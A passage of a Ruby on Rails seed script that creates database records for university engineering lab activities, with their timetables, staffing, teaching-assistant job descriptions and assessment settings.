\"Aircraft Design\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at260 = ActivityTimetable.where(activity_id: a260.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_apl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 15, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a260.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a260.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"This experiment involves helping students build an aircraft which they have designed in the Merlin flight simulators. Once they hacve successfully built the aircraft, they will perform a test flight of the aircraft in order to assess the capabilities in relation to the design brief provided by the module leader. An interest in aircraft design and flight performance would therefore be desirable for this role.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a260.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a260.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a260.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a261 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode7\").first_or_create!(name: \"Non Newtonian Fluids\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at261 = ActivityTimetable.where(activity_id: a261.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a261.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a261.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a261.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a261.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a261.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a262 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE204\").first.id, code: \"433\").first_or_create!(name: \"Non Newtonian Fluids\",\n name_abrv: \"OOBLECK\", archived: false, in_drive: false, user_id: 3)\n at262 = ActivityTimetable.where(activity_id: a262.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 10, max_week_num: 10, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 120, takedown_time: 180, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a262.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y8rsrucr\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a262.id).first_or_create!(criteria: \"Some knowledge of the behaviour of fluids in shear (rheology) would be beneficial.\",\n job_desc:\"Playing with cornflour and water.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a262.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a262.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a262.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a263 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AER123\").first.id, code: \"100\").first_or_create!(name: \"AC Circuits\",\n name_abrv: \"ACC\", archived: false, in_drive: false, user_id: 1)\n at263 = ActivityTimetable.where(activity_id: a263.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 7, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 20, setup_time: 20, takedown_time: 25, notes: \"\",\n capacity: 100, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a263.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"AC Circuits\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a263.id).first_or_create!(criteria: \"Must be confident with use of oscilloscope, digital multimeter and signal generator\n Must understand simple passive filter networks (RC, RL, RCL)\n Must be confident calculating Q factor and describing reasons for experimental deviations from theory\",\n job_desc:\"Help students construct basic first order passive circuits (RC/RL/RLC) and use a signal generator to input voltages across them.\n Assist students in using oscilloscopes, signal generators and multimeters to make measurements of AC signals\n Remind students of non-idealities of components and help them explain differences between experiment and theory\n Ensure students consider experimental errors and quantify and analyse potential experimental error sources.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a263.id).first_or_create!(assess_weight: 14.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a263.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a263.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a264 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE218\").first.id, code: \"100\").first_or_create!(name: \"AC Circuits\",\n name_abrv: \"ACC\", archived: false, in_drive: false, user_id: 2)\n at264 = ActivityTimetable.where(activity_id: a264.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 7, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 20, setup_time: 20, takedown_time: 25, notes: \"\",\n capacity: 100, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a264.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"AC Circuits\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a264.id).first_or_create!(criteria: \"Must be confident with use of oscilloscope, digital multimeter and signal generator\n Must understand simple passive filter networks (RC, RL, RCL)\n Must be confident calculating Q factor and describing reasons for experimental deviations from theory\",\n job_desc:\"Help students construct basic first order passive circuits (RC/RL/RLC) and use a signal generator to input voltages across them.\n Assist students in using oscilloscopes, signal generators and multimeters to make measurements of AC signals\n Remind students of non-idealities of components and help them explain differences between experiment and theory\n Ensure students consider experimental errors and quantify and analyse potential experimental error sources.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a264.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a264.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a264.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a265 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE123\").first.id, code: \"100\").first_or_create!(name: \"AC Circuits\",\n name_abrv: \"ACC\", archived: false, in_drive: false, user_id: 2)\n at265 = ActivityTimetable.where(activity_id: a265.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 7, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 20, setup_time: 20, takedown_time: 25, notes: \"\",\n capacity: 100, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a265.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"AC Circuits\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a265.id).first_or_create!(criteria: \"Must be confident with use of oscilloscope, digital multimeter and signal generator\n Must understand simple passive filter networks (RC, RL, RCL)\n Must be confident calculating Q factor and describing reasons for experimental deviations from theory\",\n job_desc:\"Help students construct basic first order passive circuits (RC/RL/RLC) and use a signal generator to input voltages across them.\n Assist students in using oscilloscopes, signal generators and multimeters to make measurements of AC signals\n Remind students of non-idealities of components and help them explain differences between experiment and theory\n Ensure students consider experimental errors and quantify and analyse potential experimental error sources.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a265.id).first_or_create!(assess_weight: 14.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a265.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n\n\n a266 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AER123\").first.id, code: \"101\").first_or_create!(name: \"AC Circuits Exam\",\n name_abrv: \"ACEXAM\", archived: true, in_drive: false, user_id: 4)\n at266 = ActivityTimetable.where(activity_id: a266.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a266.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"N/A\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a266.id).first_or_create!(criteria: \"No GTAs required\",\n job_desc:\"No GTAs required\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a266.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a266.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a266.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a267 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE123\").first.id, code: \"10\").first_or_create!(name: \"AC Circuits Exam\",\n name_abrv: \"ACEXAM\", archived: true, in_drive: false, user_id: 3)\n at267 = ActivityTimetable.where(activity_id: a267.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a267.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"N/A\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a267.id).first_or_create!(criteria: \"No GTAs required\",\n job_desc:\"No GTAs required\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a267.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a267.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n\n\n a268 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE225\").first.id, code: \"102\").first_or_create!(name: \"Amplifiers and Probes\",\n name_abrv: \"AMP1\", archived: false, in_drive: false, user_id: 1)\n at268 = ActivityTimetable.where(activity_id: a268.id).first_or_create!(duration: 210, kit_prep_time: 700, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a268.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"Amplifiers\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a268.id).first_or_create!(criteria: \"Must be confident in independently using oscilloscopes and signal generators\n Must be confident with analogue electronic circuits for small AC signals using amplifiers (op-amps and BJTs)\n Must be confident measuring rise times and phase shifts, and exploring the effect of feedback on amplifier circuits\n Must be confident soldering in difficult conditions\",\n job_desc:\"Help students to make advanced oscilloscope measurements, using averaging and good technique to measure small ac voltage signals\n Assist students in calculating the effects of cables and probes on measurements that they make\n Ensure students calibrate oscilloscope probes before taking measurements, and explain how the calibration process works\n Assist students in processing measured values, with an appreciataion of the experimental errrors involved\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 14.0)\n ActivityAssess.where(activity_id: a268.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a268.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a268.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a269 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"PHY392\").first.id, code: \"103\").first_or_create!(name: \"Arduino\",\n name_abrv: \"ARDUINO\", archived: false, in_drive: false, user_id: 1)\n at269 = ActivityTimetable.where(activity_id: a269.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 12, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a269.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a269.id).first_or_create!(criteria: \"No GTAs required\",\n job_desc:\"No GTAs required\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a269.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a269.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a269.id, programme_id: $prog_phy.id).first_or_create!\n\n\n a270 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"105\").first_or_create!(name: \"Circuit Simulation using SPICE\",\n name_abrv: \"CSS\", archived: false, in_drive: false, user_id: 2)\n at270 = ActivityTimetable.where(activity_id: a270.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 4, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"210 minutes x 2 sessions\",\n capacity: 100, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a270.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"SPICE\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a270.id).first_or_create!(criteria: \"Must be familiar with LTSpice simulation package\n Must be able to troubleshoot problems with students' simulations\n Must have knowledge of basic electronic circuits\",\n job_desc:\"Help students create simulations of analogue circuits using LTSpice software\n Debug issues with student code to ensure simulations run correctly\n Help students interpret measurements made in simulation and advice on how to use DC and AC simulation analysis for future experiments\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a270.id).first_or_create!(assess_weight: 10.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a270.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a270.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a271 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE229\").first.id, code: \"106\").first_or_create!(name: \"Control of Motors\",\n name_abrv: \"SERVO\", archived: false, in_drive: false, user_id: 2)\n at271 = ActivityTimetable.where(activity_id: a271.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 11, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 10, setup_time: 10, takedown_time: 10, notes: \"As close as possible to other machines labs (220, 224, 228) - each student should do each on on a consecutive week, rather than getting all students through one lab, then the next lab etc.\",\n capacity: 14, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a271.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a271.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a271.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a271.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a271.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a272 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE202\").first.id, code: \"106\").first_or_create!(name: \"Control of Motors\",\n name_abrv: \"SERVO\", archived: false, in_drive: false, user_id: 3)\n at272 = ActivityTimetable.where(activity_id: a272.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 10, setup_time: 10, takedown_time: 10, notes: \"\",\n capacity: 14, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a272.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a272.id).first_or_create!(criteria: \"You must be in a EEE motors & drives PhD field and be working in the machines and drives project group. You need to have an understanding of the basic load profile and control of AC motors, servo and stepper motors.\",\n job_desc:\"A series of five labs looking at aspects of motors and power electronics to support the teaching of the second year specialist course. You will need to supervise working on three phase machines and/or use of a MOSFET amplifier for high current rectification systems.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a272.id).first_or_create!(assess_weight: nil, notes: \"Marked lab sheets\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 1)\n ActivityTech.where(activity_id: a272.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a272.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a273 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AER107\").first.id, code: \"107\").first_or_create!(name: \"Data Acquisition\",\n name_abrv: \"DAQ1\", archived: false, in_drive: false, user_id: 1)\n at273 = ActivityTimetable.where(activity_id: a273.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a273.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"Data Acqusition\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a273.id).first_or_create!(criteria: \"Must have experience in using LabView\n Must be able to troubleshoot and debug problems with students' LabVIEW code\n Must have experience constructing sensor circuits on a breadboard\",\n job_desc:\"Assist students with a series of exercises developing their skills in writing LabVIEW code\n Debug and troubleshoot student code issues\n Help students understand the construction of LabVIEW programmes following good data acquisition practice\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a273.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a273.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a273.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a274 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"107\").first_or_create!(name: \"Data Acquisition\",\n name_abrv: \"DAQ1\", archived: true, in_drive: false, user_id: 3)\n at274 = ActivityTimetable.where(activity_id: a274.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a274.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"Data Acqusition\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a274.id).first_or_create!(criteria: \"Must have experience in using LabView\n Must be able to troubleshoot and debug problems with students' LabVIEW code\n Must have experience constructing sensor circuits on a breadboard\",\n job_desc:\"Assist students with a series of exercises developing their skills in writing LabVIEW code\n Debug and troubleshoot student code issues\n Help students understand the construction of LabVIEW programmes following good data acquisition practice\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a274.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a274.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a274.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a275 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AMR131\").first.id, code: \"108\").first_or_create!(name: \"DC Circuits\",\n name_abrv: \"DCC\", archived: false, in_drive: false, user_id: 4)\n at275 = ActivityTimetable.where(activity_id: a275.id).first_or_create!(duration: 180, kit_prep_time: 1400, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 20, notes: \"\",\n capacity: 140, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a275.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a275.id).first_or_create!(criteria: \"Must be experienced building circuits on breadboards\n Must be able to use power supplies, multimeters and oscilloscopes to make measurements on circuits\n Must be able to apply Ohms Law\n Ideally familiar with DC circuit analysis e.g. node and loop analysis, and application of Kirchoff's laws\",\n job_desc:\"Help students to construct passive networks of resistors on a breadboard\n Students should bring circuit analysis with them of current/voltage (from node/loop analysis etc.) - help them check their theoretical calculations against experimental measurements\n Help students use oscilloscopes, multimeters and power supplies to measure basic DC levels.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a275.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a275.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a275.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a276 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE119\").first.id, code: \"109\").first_or_create!(name: \"Digital Logic Circuits\",\n name_abrv: \"DLC\", archived: false, in_drive: false, user_id: 1)\n at276 = ActivityTimetable.where(activity_id: a276.id).first_or_create!(duration: 210, kit_prep_time: 120, min_week_num: 6, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"210 minutes x 2 sessions\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a276.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"Digital\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a276.id).first_or_create!(criteria: \"Must be experienced and familiar with Xilinx ISE environment\n Must be experienced in Verilog code and able to debug student code in-lab\n Must have experience with FPGA hardware\",\n job_desc:\"Assist students using Xilinx software and hardware\n Help students design and implement a 2 bit adder in software using Verilog code\n Troubleshoot problems in downloading firmware to an FPGA board and simulating the performance of the hardware.\n Guide students to attempt an advanced task of creating a 4 bit adder using multiplexers.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a276.id).first_or_create!(assess_weight: 5.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a276.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a276.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a277 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS133\").first.id, code: \"unknowncode8\").first_or_create!(name: \"EDanger\",\n name_abrv: \"eDGR\", archived: false, in_drive: false, user_id: 3)\n at277 = ActivityTimetable.where(activity_id: a277.id).first_or_create!(duration: 120, kit_prep_time: 60, min_week_num: 1, max_week_num: 2, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 90, setup_time: 90, takedown_time: 60, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a277.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"eDanger\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a277.id).first_or_create!(criteria: \"Must have an understanding of risk assessment to be able to check students' written work in the lab. Must be able to check student experimental setups and confidently intervene in student experiments if required.\",\n job_desc:\"Review risk assessments performed by the students prior to the lab and check that sensible work has been produced.\n Oversee a hazardous experiment being performed and ensure student safety by proactively intervening where necessary.\n Discuss the experiment with students to ensure they have understood the importance of risk assessment and of frequently reviewing and updating the risk assessments.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a277.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_p2p.id, 